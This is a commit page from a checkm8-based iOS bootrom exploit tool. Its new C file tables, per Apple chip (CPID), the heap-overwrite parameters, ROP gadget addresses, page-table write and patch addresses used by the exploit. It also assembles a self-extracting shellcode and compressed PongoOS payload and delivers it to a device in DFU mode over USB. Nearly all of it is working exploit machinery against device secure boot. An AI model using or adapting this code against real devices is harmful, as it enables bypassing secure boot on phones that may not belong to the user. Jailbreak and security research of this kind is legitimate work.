feat: libusb backend

This commit is contained in:
CLARATION committed 2026-06-22 18:19:25 -07:00
1 parent 2914030e65
commit d8154c3aeb
16 files changed
+1701 -402

No files matched your search

+392
View File
@@ -0,0 +1,392 @@
#include "payload.h"
#include <stdlib.h>
#include <stdint.h>
#include "../utils/log.h"
#include "dfu.h"
#include "../gen/payloads/t8015.h"
#include "../gen/payloads/t8011.h"
#include "../gen/payloads/t8010.h"
#include "../gen/payloads/s8003.h"
#include "../gen/payloads/s8001.h"
#include "../gen/payloads/s8000.h"
#include "../gen/payloads/t7001.h"
#include "../gen/payloads/t7000.h"
bool checkm8_find_device_configuration_for_cpid(int cpid, struct DeviceConfiguration *config) {
bool foundMatchingConfiguration = true;
switch (cpid) {
case 0x8015:
case 0x8012:
case 0x8011:
config->cpid = cpid;
config->largeLeak = 0;
config->overwritePadding = 0x540;
config->hole = 6;
break;
case 0x8010:
config->cpid = cpid;
config->largeLeak = 0;
config->overwritePadding = 0x5C0;
config->hole = 5;
break;
case 0x8001:
config->cpid = cpid;
config->largeLeak = 0;
config->overwritePadding = 0x5C0;
config->hole = 6;
break;
case 0x8003:
case 0x8000:
case 0x7001:
case 0x7000:
config->cpid = cpid;
config->largeLeak = 0;
config->overwritePadding = 0x500;
config->hole = 0;
break;
default:
LOG("CPID 0x%x is not supported!", cpid);
if (cpid > 0x8015) {
LOG("arm64e devices (A12 and newer) will never be supported.");
}
foundMatchingConfiguration = false;
break;
}
return foundMatchingConfiguration;
}
bool checkm8_find_payload_configuration_for_cpid(int cpid, struct PayloadConfiguration *config) {
bool foundMatchingConfiguration = true;
switch (cpid) {
case 0x8015:
config->tlbi = 0x1000004AC;
config->nopGadget = 0x10000A9C4;
config->retGadget = 0x100000148;
config->patchAddress = 0x10000624C;
config->ttbr0Address = 0x18000C000;
config->functionGadget = 0x10000A9AC;
config->ttbr0Write = 0x10000045C;
config->memcpyAddress = 0x10000E9D0;
config->aesCryptoCommand = 0x100009E9C;
config->bootTrampolineEnd = 0x18001C000;
config->ttbr0VROMOffset = 0x400;
config->ttbr0SRAMOffset = 0x600;
config->gUSBSerialNumber = 0x180003A78;
config->dfu_handle_request_address = 0x180008638;
config->usb_core_do_transfer = 0x10000B9A8;
config->dfu_handle_bus_reset_address = 0x180008668;
config->insecureMemoryBase = 0x18001C000;
config->handle_interface_request = 0x10000BCCC;
config->usb_create_string_descriptor = 0x10000AE80;
config->usb_serial_number_string_descriptor = 0x1800008FA;
break;
case 0x8012:
config->tlbi = 0x100000494;
config->nopGadget = 0x100008DB8;
config->retGadget = 0x10000012C;
config->patchAddress = 0x100004854;
config->ttbr0Address = 0x18000C000;
config->functionGadget = 0x100008DA0;
config->ttbr0Write = 0x100000444;
config->memcpyAddress = 0x10000EA30;
config->aesCryptoCommand = 0x1000082AC;
config->bootTrampolineEnd = 0x18001C000;
config->ttbr0VROMOffset = 0x400;
config->ttbr0SRAMOffset = 0x600;
config->gUSBSerialNumber = 0x180003AF8;
config->dfu_handle_request_address = 0x180008B08;
config->usb_core_do_transfer = 0x10000BD20;
config->dfu_handle_bus_reset_address = 0x180008B38;
config->insecureMemoryBase = 0x18001C000;
config->handle_interface_request = 0x10000BFFC;
config->usb_create_string_descriptor = 0x10000B1CC;
config->usb_serial_number_string_descriptor = 0x18000082A;
break;
case 0x8011:
config->tlbi = 0x100000444;
config->nopGadget = 0x10000CD0C;
config->retGadget = 0x100000148;
config->patchAddress = 0x100007630;
config->ttbr0Address = 0x1800A0000;
config->functionGadget = 0x10000CCEC;
config->ttbr0Write = 0x1000003F4;
config->memcpyAddress = 0x100010950;
config->aesCryptoCommand = 0x10000C994;
config->bootTrampolineEnd = 0x1800B0000;
config->ttbr0VROMOffset = 0x400;
config->ttbr0SRAMOffset = 0x600;
config->gUSBSerialNumber = 0x180083D28;
config->dfu_handle_request_address = 0x180088A58;
config->usb_core_do_transfer = 0x10000DD64;
config->dfu_handle_bus_reset_address = 0x180088A88;
config->insecureMemoryBase = 0x1800B0000;
config->handle_interface_request = 0x10000E08C;
config->usb_create_string_descriptor = 0x10000D234;
config->usb_serial_number_string_descriptor = 0x18008062A;
break;
case 0x8010:
config->tlbi = 0x100000434;
config->nopGadget = 0x10000CC6C;
config->retGadget = 0x10000015C;
config->patchAddress = 0x1000074AC;
config->ttbr0Address = 0x1800A0000;
config->functionGadget = 0x10000CC4C;
config->ttbr0Write = 0x1000003E4;
config->memcpyAddress = 0x100010730;
config->aesCryptoCommand = 0x10000C8F4;
config->bootTrampolineEnd = 0x1800B0000;
config->ttbr0VROMOffset = 0x400;
config->ttbr0SRAMOffset = 0x600;
config->gUSBSerialNumber = 0x180083CF8;
config->dfu_handle_request_address = 0x180088B48;
config->usb_core_do_transfer = 0x10000DC98;
config->dfu_handle_bus_reset_address = 0x180088B78;
config->insecureMemoryBase = 0x1800B0000;
config->handle_interface_request = 0x10000DFB8;
config->usb_create_string_descriptor = 0x10000D150;
config->usb_serial_number_string_descriptor = 0x1800805DA;
break;
case 0x8001:
config->tlbi = 0x100000404;
config->nopGadget = 0x10000CD60;
config->retGadget = 0x100000118;
config->patchAddress = 0x100007668;
config->ttbr0Address = 0x180050000;
config->functionGadget = 0x10000CD40;
config->ttbr0Write = 0x1000003B4;
config->memcpyAddress = 0x1000106F0;
config->aesCryptoCommand = 0x10000C9D4;
config->bootTrampolineEnd = 0x180044000;
config->ttbr0VROMOffset = 0x400;
config->ttbr0SRAMOffset = 0x600;
config->gUSBSerialNumber = 0x180047578;
config->dfu_handle_request_address = 0x18004C378;
config->usb_core_do_transfer = 0x10000DDA4;
config->dfu_handle_bus_reset_address = 0x18004C3A8;
config->insecureMemoryBase = 0x180000000;
config->handle_interface_request = 0x10000E0B4;
config->usb_create_string_descriptor = 0x10000D280;
config->usb_serial_number_string_descriptor = 0x18004486A;
break;
case 0x8003:
case 0x8000:
config->patchAddress = 0x10000812C;
config->ttbr0Address = 0x1800C8000;
config->memcpyAddress = 0x100011030;
config->aesCryptoCommand = 0x10000DAA0;
config->bootTrampolineEnd = 0x1800E1000;
config->ttbr0VROMOffset = 0x400;
config->ttbr0SRAMOffset = 0x600;
config->gUSBSerialNumber = 0x180087958;
config->dfu_handle_request_address = 0x1800878F8;
config->usb_core_do_transfer = 0x10000EE78;
config->dfu_handle_bus_reset_address = 0x180087928;
config->insecureMemoryBase = 0x180380000;
config->handle_interface_request = 0x10000F1B0;
config->usb_create_string_descriptor = 0x10000E354;
config->usb_serial_number_string_descriptor = 0x1800807DA;
break;
case 0x7001:
config->patchAddress = 0x10000AD04;
config->memcpyAddress = 0x100013F10;
config->aesCryptoCommand = 0x100010A90;
config->bootTrampolineEnd = 0x1800E1000;
config->gUSBSerialNumber = 0x180088E48;
config->dfu_handle_request_address = 0x180088DF8;
config->usb_core_do_transfer = 0x100011BB4;
config->dfu_handle_bus_reset_address = 0x180088E18;
config->insecureMemoryBase = 0x180380000;
config->handle_interface_request = 0x100011EE4;
config->usb_create_string_descriptor = 0x100011074;
config->usb_serial_number_string_descriptor = 0x180080C2A;
break;
case 0x7000:
config->patchAddress = 0x100007E98;
config->memcpyAddress = 0x100010E70;
config->aesCryptoCommand = 0x10000DA90;
config->bootTrampolineEnd = 0x1800E1000;
config->gUSBSerialNumber = 0x1800888C8;
config->dfu_handle_request_address = 0x180088878;
config->usb_core_do_transfer = 0x10000EBB4;
config->dfu_handle_bus_reset_address = 0x180088898;
config->insecureMemoryBase = 0x180380000;
config->handle_interface_request = 0x10000EEE4;
config->usb_create_string_descriptor = 0x10000E074;
config->usb_serial_number_string_descriptor = 0x18008062A;
break;
default:
LOG("CPID 0x%x is not supported!", cpid);
foundMatchingConfiguration = false;
}
return foundMatchingConfiguration;
}
uint8_t *create_pongo_overwrite_for_device(struct PayloadConfiguration *payloadConfig, size_t *overwriteSize) {
LOG("Preparing overwrite for YoloDFU mode.");
uint64_t *overwrite = malloc(0x30);
overwrite[5] = payloadConfig->insecureMemoryBase;
*overwriteSize = 0x30;
return (uint8_t *)overwrite;
}
uint8_t *create_pongo_payload_for_device(struct DeviceConfiguration *deviceConfig, size_t *payloadSize) {
LOG("Preparing YoloDFU payload for CPID 0x%x.", deviceConfig->cpid);
switch (deviceConfig->cpid) {
case 0x8015:
*payloadSize = t8015_len;
return (uint8_t *)t8015;
case 0x8011:
*payloadSize = t8011_len;
return (uint8_t *)t8011;
case 0x8010:
*payloadSize = t8010_len;
return (uint8_t *)t8010;
case 0x8003:
*payloadSize = s8003_len;
return (uint8_t *)s8003;
case 0x8001:
*payloadSize = s8001_len;
return (uint8_t *)s8001;
case 0x8000:
*payloadSize = s8000_len;
return (uint8_t *)s8000;
case 0x7001:
*payloadSize = t7001_len;
return (uint8_t *)t7001;
case 0x7000:
*payloadSize = t7000_len;
return (uint8_t *)t7000;
default:
LOG("Failed to prepare payload for device with CPID 0x%x.", deviceConfig->cpid);
return NULL;
}
}
// TODO: move l8r
bool wait_for_device_to_enter_yolo_dfu(usb_handle_t *handle) {
char *serialNumber = NULL;
wait_usb_handle(handle);
serialNumber = get_usb_device_serial_number(handle);
if (serialNumber == NULL) {
LOG("Failed to get device serial number.");
close_usb_handle(handle);
return false;
}
unsigned totalTime = 0;
while (!dfu_serial_number_is_in_yolo_dfu(serialNumber)) {
wait_usb_handle(handle);
free(serialNumber);
serialNumber = get_usb_device_serial_number(handle);
close_usb_handle(handle);
if (serialNumber == NULL) {
LOG("Failed to get device serial number.");
return false;
}
sleep_ms(100);
totalTime += 100;
if (totalTime >= 15000) {
LOG("Device failed to enter Yolo DFU mode.");
return false;
}
}
close_usb_handle(handle);
return true;
}
#include <string.h>
#include "../gen/payloads/Pongo.h"
#include "../gen/payloads/lz4dec.h"
#include <lz4hc.h>
bool prepare_pongo(unsigned char **pongoBuf, size_t *size)
{
size_t shellcodeSize, pongoSize;
void *shellcode, *pongo;
// The shellcode that is appended to the beginning of the
// LZ4-compressed Pongo is actually an LZ4 decompressor
// that decompresses the Pongo image into memory.
// It is, in effect, a self-extracting payload.
shellcodeSize = lz4dec_len;
shellcode = malloc(shellcodeSize);
memcpy(shellcode, lz4dec, shellcodeSize);
pongoSize = Pongo_len;
pongo = malloc(pongoSize);
memcpy(pongo, Pongo, pongoSize);
// Compress PongoOS
char *pongoCompressed = malloc(pongoSize);
LOG("Compressing PongoOS");
pongoSize = LZ4_compress_HC(pongo, pongoCompressed, pongoSize, pongoSize, LZ4HC_CLEVEL_MAX);
if (pongoSize == 0) {
LOG("Failed to compress PongoOS");
return false;
}
// Add shellcode to PongoOS
LOG("Adding shellcode to PongoOS");
void *tmp = malloc(pongoSize + shellcodeSize);
memcpy(tmp, shellcode, shellcodeSize);
memcpy(tmp + shellcodeSize, pongoCompressed, pongoSize);
free(pongo);
pongo = tmp;
pongoSize += shellcodeSize;
free(shellcode);
// Write size of compressed Pongo into data for decompressor
uint32_t *pongoSizeInData = (uint32_t *)(pongo + 0x1fc);
*pongoSizeInData = pongoSize - shellcodeSize;
// Update parameters
*pongoBuf = pongo;
*size = pongoSize;
return true;
}
bool send_pongo_to_yolo_dfu(usb_handle_t *handle) {
unsigned char *pongoData = NULL;
size_t pongoSize = 0;
if (!prepare_pongo(&pongoData, &pongoSize) || pongoData == NULL || pongoSize == 0) {
LOG("Failed to prepare PongoOS.");
return false;
}
bool ret = false;
if (wait_usb_handle(handle)) {
if (dfu_serial_number_is_in_yolo_dfu(get_usb_device_serial_number(handle))) {
size_t lengthSent = 0, size;
transfer_ret_t transferRet;
while (lengthSent < pongoSize) {
retry:
size = ((pongoSize - lengthSent) > 0x800) ? 0x800 : (pongoSize - lengthSent);
send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, pongoData + lengthSent, size, &transferRet);
if (transferRet.sz != size || transferRet.ret != USB_TRANSFER_OK) {
LOG("Retrying at size 0x%lx...", size);
sleep_ms(100);
goto retry;
}
lengthSent += size;
}
send_usb_control_request_no_data(handle, 0x21, DFU_CLRSTATUS, 0, 0, 0, NULL);
close_usb_handle(handle);
sleep_ms(100);
init_usb_handle(handle, 0x5AC, 0x4141);
wait_usb_handle(handle);
free(pongoData);
LOG("Device is now in PongoOS!");
ret = true;
}
else {
free(pongoData);
LOG("Device is not in Yolo DFU mode!");
}
}
return ret;
}